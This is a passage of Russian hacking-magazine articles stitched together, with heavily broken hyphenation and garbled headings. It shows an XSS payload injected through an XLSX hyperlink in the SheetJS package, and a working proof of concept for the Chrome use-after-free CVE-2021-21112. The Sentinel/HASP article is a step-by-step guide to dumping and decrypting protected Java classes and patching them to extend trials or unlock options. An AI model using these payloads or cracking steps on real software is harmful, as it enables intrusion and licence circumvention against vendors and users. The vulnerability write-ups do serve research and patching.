таточ но исполь зовать трюк из прош лой час ти.

cell.l.Target href

Да вай вос про изве дем этот баг. Вот сер верный код, который будет обра- 
баты вать XLSX и отправ лять кли енту сге нери рован ный HTML:

   const express = require('express');
   const fileUpload = require('express-fileupload');
   const app = express();
   const XLSX = require("xlsx");

// Middleware для обработки файлов
app.use(fileUpload());

// Принимаем POST-запрос и обрабатываем загружаемый файл
   app.post('/process', function(req, res) {

         if (!req.files || Object.keys(req.files).length === 0) {
        return res.status(400).send('Не найдены загруженные файлы.');

   }

 // Получаем загруженный файл
      const uploadedFile = req.files.file;
      let a = XLSX.read(uploadedFile.data);
   console.log(a)
   res.send(XLSX.utils.sheet_to_html(a.Sheets.Sheet1));
});

// Запускаем сервер
  app.listen(3000, function() {

   console.log('Сервер запущен на порте 3000');
});

Для демонс тра ции XSS нуж но:
соз дать прос той файл Excel и добавить ссыл ку на внеш ний ресурс в любую
ячей ку;

•

рас паковать файл Excel, что бы иметь воз можность редак тировать его
содер жимое;

•

• в фай ле  изме нить атри бут

 на сле дующее зна чение:

./xl/worksheets/_rels/sheet1.xml.rels
Target

Target='https://solidlab.ru/"><script>alert("Hello from SolidLab")
</script>'

• за пако вать файл обратно в фор мат XLSX;
• от пра вить зап рос с изме нен ным фай лом на сер вер, который обра баты- 

вает фай лы XLSX.

При выпол нении этих шагов ты уви дишь, что инъ екция XSS будет выпол нена
при откры тии фай ла.

Ðåàêöèÿ ðàçðàáîò÷èêîâ
Раз работ чики пос тарались устра нить эту уяз вимость в вер сии пакета XLSX
0.19.3. Теперь дан ные из  про ходят филь тра цию в фун кции

:

Target
escapehtml

          
      

if(cell.l && (cell.l.Target || "#").charAt(0) != "#") w = '<a href="'
+ escapehtml(cell.l.Target) +'">' + w + '</a>';

CVE это му багу не прис воили.

ÂÛÂÎÄÛ

Итак, мы под робно рас смот рели ряд уяз вимос тей в пакете XLSX. Тут тебе
и огра ничен ное заг рязне ние про тоти па, и уяз вимость меж сай тового скрип- 
тинга (XSS).

Ес ли ты в сво ей прог рамме исполь зуешь XLSX, это может при вес ти к ряду
рис ков:

при чте нии недове рен ных фай лов XLSX воз можна кра жа или модифи кация
дан ных, кра жа чужих дан ных и уве личе ние наг рузки на сер вер;

•

при пре обра зова нии недове рен ных фай лов XLSX в HTML (или при нятия
дан ных ячей ки из недове рен ных источни ков) воз можна экс плу ата ция меж- 
сай тового скрип тинга и кра жа дан ных поль зовате лей.

•

ÐÅÊÎÌÅÍÄÀÖÈÈ

Что бы не стал кивать ся с опи сан ной проб лемой, я рекомен дую сле дующее:
1.  Нас тоятель но советую обно вить пакет XLSX до вер- 

сии 0.19.3 или более поз дней, где эти уяз вимос ти уже устра нены.

Îá íîâëå íèå ÏÎ.

2.  Нуж но уде лить осо бое вни мание валида- 

ции всех вход ных дан ных, переда ваемых в фун кции XLSX. Это сде лает при- 
ложе ние в целом нам ного безопас нее.

Âà ëèäà öèÿ âõîä íûõ äàí íûõ.

3.  Для пре дот вра щения Prototype

Pollution сле дует избе гать пря мого исполь зования поль зователь ских вход- 
ных дан ных в качес тве клю чей объ екта. Если это неиз бежно, рас смот ри
воз можность при менить механизм защиты, такой как филь тра ция клю чей
или бло киро вание дос тупа к про тоти пам.

Ïðî ôèëàê òèêà Prototype Pollution.

4.  По воз можнос ти при- 
меняй Content Security Policy для допол нитель ной защиты от XSS-атак.
Èñ ïîëü çîâàíèå ìåõàíèç ìîâ áåçîïàñ íîñòè.

На деюсь, этот текст поможет тебе защитить свое при ложе ние или успешно
попен тестить чужое, что бы выдать эти рекомен дации ответс твен ным за раз- 
работ ку.

mailto:sevakokorin80@gmail.com
https://git.sheetjs.com/sheetjs/sheetjs/src/commit/c06a32043fe84fc69892031623172289bd15ab98/bits/56_cmntcommon.js


В ОБХОД
СТРАЖИ
КАК ВСКРЫВАЮТ
ПРИЛОЖЕНИЯ,
ЗАЩИЩЕННЫЕ
АППАРАТНЫМ
КЛЮЧОМ SENTINEL

МВК

ВЗЛОМ

Ре верс-инжи ниринг написан ных на Java
при ложе ний, если раз работ чики не позабо- 
тились заранее об их защите, обыч но
не пред став ляет труд ностей. Имен но что бы
усложнить жизнь хакерам и иссле дова- 
телям, исполь зуют ся раз личные инс тру мен- 
ты, один из которых — защита с аппа рат- 
ным клю чом Sentinel. Сегод ня мы рас смот- 
рим спо соб обхо да такой защиты.

Тем, кто читал , пос вящен ные 
, извес тно самое сла бое мес то такой защиты: проз рачность байт-кода

и невыно симая лег кость вос ста нов ления его до исходни ков.

мои пре дыду щие статьи за щите при ложе ний
на Java

По это му раз работ чики таких инс тру мен тов стре мят ся как мож но хит рее
спря тать код от любопыт ных глаз хакеров, исполь зуя раз личные при емы:
обфуска цию, ком пиляцию в натив, шиф рование. Наг лядный при мер пос- 
ледне го мы начали раз бирать в статье «

». Тог да мы оста нови лись на инлайн-пат чинге рас шифро- 
ван ного байт-кода пря мо из биб лиоте ки аген та JVMTI. Сегод ня мы про дол- 
жим эту тему и научим ся пат чить непос редс твен но шиф рован ный код.

Без защит ная Java. Лома ем Java
bytecode encryption

В качес тве при мера мы возь мем при ложе ние, защищен ное Sentinel
Licensing API Java Class Library — спе циаль ной биб лиоте кой защиты Java-
клас сов, пос тавля емой к клю чам типа Hasp. Почитать о том, как устро ена эта
биб лиоте ка, мож но на . Само при ложе ние защище но
клю чом Hasp, в его рабочем катало ге при сутс тву ют харак терные для Sentinel
фай лы , , 

и спе цифи чес кие для Java , ,

, . Detect It Easy пред ска зуемо
ука зыва ет на NetHASP dongle reference и Hardlock dongle reference.

сай те раз работ чика

hasp_rt.exe hasp_windows_x64_34344.dll haspvlib_34344.dll
HASPJava.dll HASPJava_x64.dll

sntljavaclsrt.dll sntljavaclsrt_x64.dll

Мы по опы ту зна ем, что ломать эти биб лиоте ки «в лоб» луч ше даже не пытать- 
ся, они весь ма сурово вир туали зова ны и защище ны от отладки и модифи- 
кации. Поэто му смот рим на ком пилиро ван ные клас сы, содер жащи еся внут ри
JAR. Там тоже все мрач но: кро ме глав ного клас са, все осталь ные пошиф- 
рованы с высокой энтро пией, при мер но как опи сано в статье «

». За исклю чени ем того, что крип тор
под клю чает ся не как JavaAgent при запус ке при ложе ния, а из глав ного клас- 
са, по сути пред став ляюще го собой заг рузчик при ложе ния c единс твен но
откры тым кодом:

Без защит ная
Java. Лома ем Java bytecode encryption

     public static void main(String[] stringArray) {
 try {

  String string;
    String string2 = System.getProperty("java.class.path");
    int n = Math.max(string2.lastIndexOf("\"), string2.lastIndexOf("/
"));
 String string3 = string = string2.substring(0, ++n);
 if (JavaClsEntry.isWindows()) {
  string3 = string3 + "sntljavaclsrt";
  if (0 == System.getProperty("sun.arch.data.model").compareTo("64
")) {
    string3 = string3 + "_x64";
  }
    string3 = string3 + ".dll";
 } else if (JavaClsEntry.isLinux()) {
    string3 = string3 + "libsntljavaclsrt_x86_64.so";
 } else {
    return;
 }
 File file = new File(string3);
 string3 = file.getAbsolutePath();
 System.load(string3);
 Class<?> clazz = Class.forName("com.MainApp");

  Method method = clazz.getMethod("main", String[].class);
   method.invoke(null, new Object[]{stringArray});
}

   catch (Exception exception) {
 exception.printStackTrace();
}

Заг рузчик ничего не дела ет, кро ме как заг ружа ет сен тинелов скую натив ную
биб лиоте ку защиты, а затем глав ный класс прог раммы. Если ключ не в поряд- 
ке, то глав ный класс поп росту не рас шифро выва ется и при ложе ние рушит ся
по неп равиль ному фор мату байт-кода клас са. Собс твен но, даже такую ошиб- 
ку мож но получить толь ко пос ле того, как биб лиоте ка выдаст окош ко отсутс- 
твия клю ча.

Как же нам теперь быть? Ведь, пос коль ку здесь не про исхо дит пря мая под- 
мена JIT-ком пилято ра через JavaAgent, пред ложен ный в упо мяну той выше
статье спо соб не годит ся. Поп робу ем под клю чить ся отладчи ком непос редс- 
твен но к JIT-ком пилято ру. Нем ного покурив докумен тацию, обна ружи ваем
в биб лиоте ке  такую фун кцию:JVM.DLL

      
          

JVM_DefineClassWithSource(JNIEnv *env, const char *name, jobject
loader, const jbyte *buf, jsize len, jobject pd, const char *source)

Как вид но из опи сания, эта фун кция ком пилиру ет класс из мас сива
байт-кода. Дли на мас сива, наз вание клас са и даже исходно го Java-модуля
при лага ется. При наличии клю ча, уста новив в нашем любимом отладчи ке
x64dbg точ ку оста нова на вход этой фун кции, мы получа ем в регис тре  рас- 

шифро ван ный класс, начиная с сиг натуры , и его дли ну в регис тре

. В ито ге его мож но лег ко сдам пить на диск сле дующей коман дой:

R9
CAFEBABE

R14

savedata MainApp.class, R9, R14 

В некото рых, наибо лее прос тых слу чаях, ког да зашиф рован толь ко глав ный
класс, это го впол не дос таточ но, что бы снять защиту целиком, — прос то
запако выва ем рас шифро ван ный глав ный класс вмес то ста рого и пере опре- 
деля ем его в манифес те. Если зашиф рован ных клас сов нем ного, то их тоже
мож но сдам пить по оче реди и бороть ся с при вяз кой к клю чу уже в рас шифро- 
ван ных клас сах. Обыч но подоб ная защита пред полага ет наличие в модуле
уже Java-клас сов , ,

 и . Одна ко зашиф- 

рован ных клас сов может быть очень мно го, так что дам пить их вруч ную
по оче реди неп родук тивно.

Aladdin/Hasp.class Aladdin/HaspApiVersion.class
Aladdin/HaspStatus.class Aladdin/HaspTime.class

Мож но, конеч но, авто мати зиро вать про цесс при помощи кос тылей — сде- 
лать заг рузчик, который под клю чает ся к запущен ному про цес су и сох раня ет
клас сы из памяти по оче реди, но это слиш ком извра щен ное решение даже
для меня. К тому же мы хоть и ленивые, но дос таточ но любопыт ные и нам
инте рес но докопать ся до сути. Для начала — понять, как имен но про исхо дит
рас шифров ка крип тован ных клас сов.

На пер вый взгляд, задача выг лядит жут ковато — как я уже говорил, сен- 
тинелов ские биб лиоте ки по-взрос лому пок рипто ваны и вир туали зиро ваны,
вдо бавок сра жают ся с отладчи ком при попыт ке их трас сиров ки. Но мы
все-таки поп робу ем отло вить момент рас шифров ки. Для начала прос то прер- 
вемся в отладчи ке, ког да появ ляет ся сооб щение об отсутс твии клю ча. По сте- 
ку вызовов мы с удив лени ем обна ружи ваем, что уши про вер ки клю ча в сен- 
тинелов ской биб лиоте ке  тор чат из кер нелов ской фун- 
кции чте ния фай ла , а еще точ нее — из ее низ коуров невого вызова

.

sntljavaclsrt_x64
ReadFile

NtReadFile

В биб лиоте ке  есть даже соот ветс тву ющая экспор тиру- 

емая фун кция, под меня ющая сис темную. Про верить это дос таточ но прос то:
уста новив точ ку оста нова на вызов  из  (выделе но на сте ке
вызовов на скрин шоте), мы обна ружи ваем, что  счи тыва ет уже впол- 

не себе рас шифро ван ные бло ки байт-кода пор циями по  байт.

sntljavaclsrt_x64

ReadFile java.dll
ReadFile

0x400
Та ким обра зом, мы узна ли механизм встра ива ния сен тинелов ской защиты

в JIT-ком пилятор Java. Одна ко на этот раз нам хотелось бы пой ти даль ше,
чем в пре дыду щей статье, и выяс нить алго ритм шиф рования байт-кода.
Для это го мы сна чала ста вим точ ку оста нова на вызов  из .ReadFile java.dll

Что бы отфиль тро вать все побоч ные чте ния из дру гих фай лов, уста новим
филь тр на чте ние бло ков толь ко раз мером в  байт. Для это го в усло вии

оста нов ки про писы ваем . По оста нов ке в этой точ ке адрес буфера
чте ния будет находить ся в регис тре  — ста вим точ ку оста нова на пер вый

байт это го буфера. Выпол нение оста нав лива ется, ког да в буфер записы вают- 
ся зашиф рован ные дан ные. Чте ние бай та из это го буфера тор мозит ся
в очень инте рес ном мес те — мы видим обфусци рован ный код

:

0x400
r8==0x400

RDX

sntljavaclsrt_x64

00007FFC46EB31F5 | movzx ecx,byte ptr ds:[r12+rax] 
00007FFC46EB31FA | mov edx,edi 
00007FFC46EB31FC | shr edx,18 
00007FFC46EB31FF | add edx,ecx 
00007FFC46EB3201 | movzx ecx,dl 
00007FFC46EB3204 | movzx r11d,byte ptr ds:[r13+rcx] 
00007FFC46EB320A | lea rcx,qword ptr ds:[7FFC46EB1A46] 
00007FFC46EB3211 | mov edx,ecx 
00007FFC46EB3213 | and edx,ebp 
00007FFC46EB3215 | xor rcx,rbp 
00007FFC46EB3218 | lea rcx,qword ptr ds:[rcx+rdx*2] 
00007FFC46EB321C | jmp rcx 

В регис тре  — ука затель на зашиф рован ный буфер, в регис тре  —
сме щение в нем, в регис тре  — ука затель на некую таб лицу переко диров- 

ки. Резуль тат это го фраг мента кода хра нит ся в регис тре .

 — слег ка закоди рован ный адрес сле дующей инс трук ции. Нем- 
ного поп рыгав по обфусци рован ному коду, находим сле дующий фраг мент:

R12 RDI
R13

R11
7FFC46EB1A46

00007FFC46EB32DF | mov ecx,edi 
00007FFC46EB32E1 | shr ecx,10 
00007FFC46EB32E4 | add ecx,r11d 
00007FFC46EB32E7 | movzx ecx,cl 
00007FFC46EB32EA | movzx ecx,byte ptr ds:[r13+rcx+100] 
00007FFC46EB32F3 | mov edx,edi 
00007FFC46EB32F5 | shr edx,8 
00007FFC46EB32F8 | add edx,ecx 
00007FFC46EB32FA | movzx ecx,dl 
00007FFC46EB32FD | movzx edx,byte ptr ds:[r13+rcx+200] 
00007FFC46EB3306 | lea rcx,qword ptr ds:[7FFC46EB1A22] 
00007FFC46EB330D | mov ebx,ecx 
00007FFC46EB330F | and ebx,ebp 
00007FFC46EB3311 | xor rcx,rbp 
00007FFC46EB3314 | lea rcx,qword ptr ds:[rcx+rbx*2] 
00007FFC46EB3318 | jmp rcx 

Тут на выходе резуль тат уже в . И наконец, финаль ный фраг мент, который

пред став ляет собой конец цик ла по всем бай там (дли на в ) и условный

переход на начало:

RDX
R9

00007FFC46EB3273 | movzx ecx,dl 
00007FFC46EB3276 | add ecx,edi 
00007FFC46EB3278 | movzx ecx,cl 
00007FFC46EB327B | movzx ecx,byte ptr ds:[r13+rcx+300] 
00007FFC46EB3284 | mov byte ptr ds:[r12+rax],cl 
00007FFC46EB3288 | add edi,1 
00007FFC46EB328B | add rax,1 
00007FFC46EB328F | mov ecx,r8d 
00007FFC46EB3292 | and ecx,ebp 
00007FFC46EB3294 | lea rdx,qword ptr ds:[7FFC46EB1A92] 
00007FFC46EB329B | mov ebx,edx 
00007FFC46EB329D | and ebx,ebp 
00007FFC46EB329F | xor rdx,rbp 
00007FFC46EB32A2 | cmp rax,r9 
00007FFC46EB32A5 | lea rcx,qword ptr ds:[r10+rcx*2] 
00007FFC46EB32A9 | lea rdx,qword ptr ds:[rdx+rbx*2] 
00007FFC46EB32AD | cmove rdx,rcx 
00007FFC46EB32B1 | jmp rdx 

Как вид но, нес мотря на всю наворо чен ность защиты, алго ритм рас шифров ки
прос той как две копей ки. Он пред став ляет собой четыре таб личных пре обра- 
зова ния. В перево де на понят ный язык прог рамми рова ния он выг лядит при- 
мер но так (  — рас кодиру емый фраг мент,  — таб лица):array table

  for (int i=0;i<array.Length;i++)
{
        byte r11 = table[(byte)(array[i] + (i >> 0x18))];
        byte ecx = table[(byte)(r11 + (i >> 0x10))+0x100];
          byte edx = table[(byte)(ecx + (i >> 0x8)) + 0x200];
     array[i] = table[(byte)(edx + i)+0x300];
}

Таб лица переко диров ки раз мером  байт, ука затель на которую

находит ся в регис тре , прек расно дам пится на диск из отладчи ка
при помощи сле дующей кон соль ной коман ды:

0x400
R13

savedata table.bin, R13, 0x400 

Пос ле это го мож но писать прос тень кий пакет ный рас кодиров щик для любого
количес тва клас сов.

В зак лючение рас смот рим сов сем уж экзо тичес кий слу чай. Пред положим,
у нас есть защищен ное подоб ным про тек тором при ложе ние и по неким при- 
чинам не нуж но его пол ностью отвя зывать от клю ча, а надо прос то нем ного
рас ширить его фун кции: прод лить три ал, повысить редак цию, добавить
опций. А тре буемые воз можнос ти, как наз ло, находят ся имен но в защищен-
ном клас се. В прош лый раз мы вык рутились из такой неп рият ной ситу ации,
на лету поп равляя рас шифро ван ный байт-код непос редс твен но в биб лиоте ке
защиты. В нынеш нем слу чае мы име ем гораз до боль ше прос транс тва
для манев ра — алго ритм шиф рования прос той, сим метрич ный и ревер сиру- 
емый. Гру бо говоря, обратный алго ритм шиф рования выг лядит при мер но так:

  for (int i=0;i<array.Length;i++)
{
  byte a=byte(indexOf(&table[0x300],array[i])-i);
    byte b=byte(indexOf(&table[0x200],a)-(i >> 0x8));
    byte c=byte(indexOf(&table[0x100],b)-(i >> 0x10));
   array[i]=byte(indexOf(&table,c)-(i >> 0x18));
}

Это озна чает, что теперь нам не нуж но извра щать ся, конс тру ируя
инлайн-патч. Имея валид ный ключ, мы можем рас шифро вать нуж ный класс,
поп равить его, нап ример при помощи dirtyJoe (как — я опи сал в статье «

»), затем сно ва
закоди ровать файл и перепа ковать его в JAR-архив.

Гряз- 
ный Джо. Взла мыва ем Java-при ложе ния с помощью dirtyJOE

https://xakep.ru/2022/04/26/java-bytecode-encryption/
https://xakep.ru/2022/08/22/excelsior-jet/
https://xakep.ru/2022/04/26/java-bytecode-encryption/
https://docs.sentinel.thalesgroup.com/ldk/LDKdocs/API-licensing-java
https://xakep.ru/2022/04/26/java-bytecode-encryption/
https://xakep.ru/2021/11/08/dirtyjoe/
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ВЗЛОМ

В янва ре 2021 года вышел оче ред ной 
 бра узе ра Chrome. В нем испра- 

вили 16 уяз вимос тей. Одну из них мы
с тобой сегод ня раз берем, что бы понять
механизм воз никно вения таких багов и спо- 
собы экс плу ата ции, с помощью которых
зло умыш ленник может ата ковать машину,
оставшу юся без обновле ний.

ре- 
лиз

Вер сия Chrome, о которой пой дет речь, — 87.0.4280.141. А инте ресу ющая нас
запат ченная уяз вимость — CVE-2021-21112. Она каса ется ком понен та потоков
ком прес сии в бра узер ном движ ке Blink и работа ет по прин ципу use after free.
О баге сооб щил иссле дова тель YoungJoo Lee (@ashuu_lee) из ком пании
RaonWhiteHat в нояб ре 2020 года через сайт bugs.chromium.org, номер отче- 
та 1151298.

Blink — это бра узер ный дви жок, на осно ве которо го работа ет Chrome.
А потоки сжа тия — это те же веб-потоки (web streams), но для удобс тва
веб-раз работ чиков переда ющиеся со сжа тием. Что бы не при ходи лось тянуть
за про ектом зависи мос ти типа zlib, соз датели Chrome решили интегри ровать
фор маты сжа тия gzip и deate в дви жок Blink.

По сути, это удоб ная обер тка, тран сфор миру ющий поток с алго рит мом
тран сфор мации дан ных по умол чанию (или gzip, или deate). Тран сфор миру- 
ющий поток — это объ ект, содер жащий два потока: чита емый (readable)
и записы ваемый (writable). А меж ду ними находит ся тран сфор мер, который
при меня ет задан ный алго ритм к про ходя щим меж ду ними дан ным.

В статье я буду ссы лать ся на ста рые вер сии спе цифи кации потоков
и исходно го кода. По понят ным при чинам исходный код с тех пор изме нил ся.
Да и спе цифи кация тоже.

ÑÒÅÍÄ

Для вос про изве дения уяз вимос ти понадо бит ся стенд, сос тоящий из вир- 
туаль ной машины и уяз вимой вер сии Chrome. Готовую вир туаль ную машину
мож но заг рузить с сай та . Сайт пре дос тавля ет обра зы вир туаль- 
ных машин как для VirtualBox, так и для VMware.

osboxes.org

Я буду исполь зовать образ Xubuntu 20 для VirtualBox. Читатель волен
выбирать любой дис три бутив. Запус каем машину, обновля емся:

 sudo apt update && sudo apt upgrade -y

Те перь нам нуж на уяз вимая вер сия бра узе ра.

Уяз вимую вер сию Chrome, ском пилиро ван ную с ASan (AddressSanitizer), мож- 
но ска чать с . В отче те об уяз вимос ти ука зано наз вание нуж- 
ной сбор ки, а имен но билд . Рас паковы ваем архив:

googleapis.com
asan-linux-release-812852

unzip asan-linux-release-812852.zip 

Го товый билд сэконо мит кучу вре мени, так как сбор ка бра узе ра тре бует вре- 
мени, осо бен но если машина не очень мощ ная.

AddressSanitizer — это детек тор оши бок памяти. Он пре дос тавля ет инс тру- 
мен тацию во вре мя ком пиляции кода и биб лиоте ку вре мени выпол нения
(runtime). Под робнее о нем мож но почитать на сай те .Clang

Те перь у нас готова вир туаль ная машина и ска чан необ ходимый билд
Chrome. Помимо них, нам понадо бит ся Python 3 и LLVM. Обыч но лог санитай- 
зера ASan выг лядит нечита емо, пос коль ку там ука заны толь ко адре са и сме- 
щения. Разоб рать ся поможет ути лита llvm-symbolizer, которая уста нав лива- 
ется вмес те с LLVM. Она чита ет эти адре са и сме щения и выводит соот ветс- 
тву ющие мес та в исходном коде. Лог ASan будет выг лядеть нам ного понят- 
нее.

Ну а Python поможет нам готовить дан ные для сжа тия.

Все уста нов лено, теперь в бой!

ÒÅÎÐÈß

Преж де чем раз бирать ся в деталях уяз вимос ти, нам нуж но нем ного понимать
пред метную область.

Пре дыс тория все го это го такова. В кон це 2019 года коман да раз работ- 
чиков Chromium реали зова ла новый JavaScript API, который называ ется
Compression Streams. Детали реали зации при веде ны в .от чете

Этот API осно ван на спе цифи кации  (спе цифи кация от 30 янва- 
ря 2020 года). Под робно с его кон цепци ей можешь озна комить ся в 

, допол нитель ные пояс нения смот ри на .

по токов
ди- 

зайн-докумен те GitHub
Я при вожу более ста рые вер сии, так как уяз вимость касалась имен но их

реали зации. В даль нейшем спе цифи кация потоков и их реали зация
в Chromium изме нилась.

Те перь раз берем ся в потоках пре обра зова ния, потоках сжа тия, объ ектах
promise и методе .postMessage

Ïîòîêè ñæàòèÿ
По токи сжа тия осно ваны на кон цепции и реали зации веб-потоков. Отли чие
в том, что потоки ком прес сии могут сжи мать и рас паковы вать дан ные.
На выбор — алго рит мы gzip и deate, широко при меня емые в веб-тех нологи- 
ях. Потоки ком прес сии удов летво ряют спе цифи кации .transform stream

Ни же при веде на схе ма алго рит ма.

Гру бо говоря, если дан ные не кон чились (счи тан чанк), то вызыва ется метод
, а тот вызовет метод ком прес сии или деком прес сии — в дан ном

слу чае Inate. В этом методе дан ные обра баты вают ся в цик ле. Затем они
помеща ются в оче редь потока. Для это го вызыва ется метод .

Transform

Enqueue
То есть обра баты ваем кус ки дан ных и кла дем их в оче редь.

Promise
JavaScript час то опи сыва ют как язык про тотип ного нас ледова ния. Каж дый
объ ект име ет объ ект-про тотип — шаб лон методов и свой ств. Все объ екты
име ют общий про тотип  и свой отдель ный.Object.prototype

По это му при изме нении каких-то свой ств или методов про тоти па новые
объ екты будут обла дать изме нен ными свой ства ми или метода ми.

Да лее нас инте ресу ют асин хрон ное прог рамми рова ние и «обе щания»
(promise). Рань ше JavaScript исполнял ся син хрон но, но это мешало веб-стра- 
ницам быс тро заг ружать ся и плав но работать. Асин хрон ное прог рамми рова-
ние поз воля ет обой ти эту проб лему. При ожи дании какой-то опе рации (заг- 
рузки дан ных по сети, чте ния с дис ка и тому подоб ных) основной поток при- 
ложе ния не бло киру ется, и оно не под виса ет.

Сна чала в JavaScript внед рили асин хрон ные кол бэки (вызовы фун кций
по завер шении опе рации). Поз днее при дума ли новый стиль написа ния асин- 
хрон ного кода — «обе щания». Promise — это объ ект, пред став ляющий асин- 
хрон ную опе рацию, выпол ненную удач но или неудач но. На кар тинке это наг- 
лядно изоб ражено.

Ис точник — javascript.ru

Про мис — это как бы про межу точ ное сос тояние: «Я обе щаю вер нуть ся к вам
с резуль татом как мож но ско рее».

У объ екта promise есть метод . Он при нима ет два парамет ра: фун- 
кции, которые нуж но выз вать в слу чае раз решения (resolve) или в слу чае
откло нения (reject). В зависи мос ти от резуль тата будет выз вана соот ветс тву- 
ющая.

then

Осо бен ность JavaScript в том, что в этом язы ке все явля ется объ ектом.
По сути метод или фун кция — это тоже объ ект. И дос туп к нему — это вызов
объ ектов  и  объ екта — про тоти па объ екта. Кра сиво?get set

Осо бен ность объ екта promise в том, что при его раз решении (resolve)
необ ходимо выз вать . Дос туп к это му методу ( ) мож но изме нить

на поль зователь ский код, сме нив общий для всех объ ектов про тотип:

then get

  Object.defineProperty(Object.prototype, "then", {
        get() {

           console.log("then getter executed");
       }
});

postMessage
Как мы можем узнать из MDN Web Docs, этот метод поз воля ет обме нивать ся
дан ными меж ду объ екта ми типа , нап ример меж ду стра ницей и фрей- 
мом. Инте рес ная осо бен ность зак люча ется в том, как переда ются дан ные.

Window

  postMessage(message, targetOrigin, transfer);

Пос ле вызова фун кции вла дение  переда ется адре сату, а на

переда ющей сто роне прек раща ется.

transfer

Ес ли вкрат це, суть уяз вимос ти в том, что обра бот ка боль шого мас сива
дан ных про исхо дит в цик ле и при добав лении обра ботан ных чан ков в оче редь
есть воз можность выз вать поль зователь ский код на JS. Это обес печено тем,
что объ екту promise дано раз решение на чте ние из потока. Поль зователь ский
код через  может осво бодить дан ные, которые на тот момент

обра баты вались в цик ле.

postMessage

Для более деталь ного понима ния всех кон цепций мож но обра тить ся
к . Мы же перехо дим к прак тике.спе цифи кации

Продолжение статьи →
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ЖИДКИЙ ХРОМ
КАК РАБОТАЕТ БАГ USE AFTER FREE В ДВИЖКЕ

BLINK

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÇÀÏÓÑÊ POC

Пер вым делом нуж но уста новить LLVM, так как с ним пос тавля ется сим- 
болиза тор. Без него стек вызовов будет выг лядеть непонят но, пос коль ку
не будет наз ваний методов и имен фай лов.

Ска чан ный  рас паковы ваем в вир туал ке и запус каем. Смот рим, что бы
вер сия сов падала со скрин шотом.

билд

Те перь соз дадим файл  и запус тим его:randomfile.py

python3 randomfile.py 

Этим мы соз дадим дан ные, которые будет счи тывать поток сжа тия (deate).

    with open('/dev/urandom', 'rb') as f:
   random = f.read(0x40000)

    with open('./random', 'wb') as f:
 f.write(random)

Да лее соз даем файл  и записы ваем в него сле дующее:poc.html

<html>
<title>Secware.ru</title>

<script>
 let ab;

   async function main() {
     

  
await fetch("random").then(x => x.body.getReader().read().then(y =>
ab = y.value.buffer));

  Object.defineProperty(Object.prototype, "then", {
 get() {

      var ab2 = new ArrayBuffer(0);
   try {
      postMessage("", "Secware", [ab]);
     } catch (e) {
    console.log("free");
  }
}
});
     var input = new Uint8Array(ab);
 console.log(ab.length);
     const cs = new CompressionStream('deflate');
    const writer = cs.writable.getWriter();
 writer.write(input);
 writer.close();
    const output = [];
    const reader = cs.readable.getReader();
 console.log(reader);
        var { value, done } = await reader.read();
}
main();
</script>

<body>
<h2>Welcome to Secware pwn page!</h2>
</body>

</html>

Те перь нуж но открыть новый тер минал и запус тить веб-сер вер из пап ки
с фай лами  и .poc.html random

python3 -m http.server 

Пе ред запус ком Chromium сле дует уста новить опции ASan.

1 export ASAN_OPTIONS=symbolize=

Да лее запус каем уяз вимый билд и ука зыва ем ему, куда под клю чить ся. Заод но
ука жем фла ги запус ка без песоч ницы и исполь зования GPU.

 asan-linux-release-812852/chrome --no-sandbox --disable-gpu http://
127.0.0.1:8000/poc.html 

Вклад ка бра узе ра дол жна упасть.

В кон соли мож но уви деть лог санитай зера адре сов ASan.

На рисун ке ниже при веден стек вызовов до метода  на сай те
исходно го кода Chromium. Но в вет ке  (на момент написа ния статьи

), так как в ста рых ком митах не работа ют референ сы и слож но отыс- 
кать граф вызовов нуж ных методов.

Transform
main

2ff0ac6

Схе мати чес ки граф вызовов выг лядит так.

Ме тод Transform вызыва ет  (в слу чае сжа тия), где и про исхо дит use

after free, на стро ке 117 фай ла . По фак ту дос туп к осво- 
бож денно му мас сиву про исхо дит в коде zlib, но мы туда не полезем.

Deflate
deate_transformer.cc

Так же в логе вид но, что осво бож дение памяти про исхо дит из метода
.postMessage

ÀÍÀËÈÇ POC

Пос мотрим код, который триг герит уяз вимость. Сна чала вызыва ется фун кция
 и под гру жает ся наш файл . Буфер с дан ными прис ваивает ся

перемен ной .
fetch random

ab

   await fetch("random").then(x => x.body.getReader().read().then(y=>ab=
y.value.buffer));

За тем пере опре деля ется аксессор свой ства . Здесь как раз про писан
код, который осво бож дает память через вызов . Мас сив 

будет осво бож ден (параметр ).

then
postMessage ab

transfer

  Object.defineProperty(Object.prototype, "then", {
  get() {
       var ab2 = new ArrayBuffer(0);
    try {

       postMessage("", "Secware", [ab]);
      } catch (e) {
     console.log("free");
   }
 }
});

В осталь ной час ти кода соз дает ся поток сжа тия, ему переда ются дан ные
из нашего фай ла  и через читате ля (reader) соз дает ся зап рос на чте- 

ние (read_request).

random

    var input = new Uint8Array(ab);
console.log(ab.length);

    const cs = new CompressionStream('deflate');
   const writer = cs.writable.getWriter();

writer.write(input);
writer.close();

   const output = [];
   const reader = cs.readable.getReader();

console.log(reader);
       var { value, done } = await reader.read();

Как раз этот зап рос на чте ние и спро воци рует осво бож дение памяти. Как?
Если вкрат це, то вызов кон трол лера  тран сфор миру юще го потока

при водит к вызову поль зователь ско го кода. Это как раз код, который акти- 
виру ет  и осво бож дает мас сив .

enqueue

postMessage ab
Уп рощен но схе ма выг лядит вот так.

ÀÍÀËÈÇ ÈÑÕÎÄÍÎÃÎ ÊÎÄÀ

Схе мати чес ки цепоч ка вызовов от  до поль зователь ско го кода на JS
будет такой, как на схе ме ниже.

Deflate

Те перь, зная общую кар тину, прой дем ся по исходно му коду. Вот как выг лядит
метод сжа тия . В цик ле do-while дан ные чита ются, сжи мают ся (deate),
а потом помеща ются в оче редь потока ( ).

Deate
controller->enqueue()

Фун кция  при ведет нас в  

. Для крат кости я про пус тил

пару пос редни ков меж ду ними.

cpp controller->enqueue() ме тод cpp 
TransformStreamDefaultController::Enqueue

Здесь вызыва ется метод с таким же наз вани ем, но из клас са кон трол лера
readable-потока ( ).ReadableStreamDefaultController

Здесь про исхо дит про вер ка наличия зап росов на чте ние. А мы как раз оста- 
вили один такой зап рос при помощи такого кода:

        javascript var { value, done } = await reader.read();

А раз он есть, будет выз ван  

.

ме тод cpp ReadableStream::
FulFillReadRequest

Тот в свою оче редь вызовет Resolve для promise, то есть зап рос на чте ние.

По спе цифи кации ECMAScript раз решение  обя затель но дол жно зай- 

ти в свой ство . А пос коль ку мы поменя ли гет тер  через 
, то при дос тупе к  вызовет ся наш код. Он осво бодит мас сив,

который в дан ный момент обра баты вает цикл метода .

promise
then then Object.

prototype then
Deflate

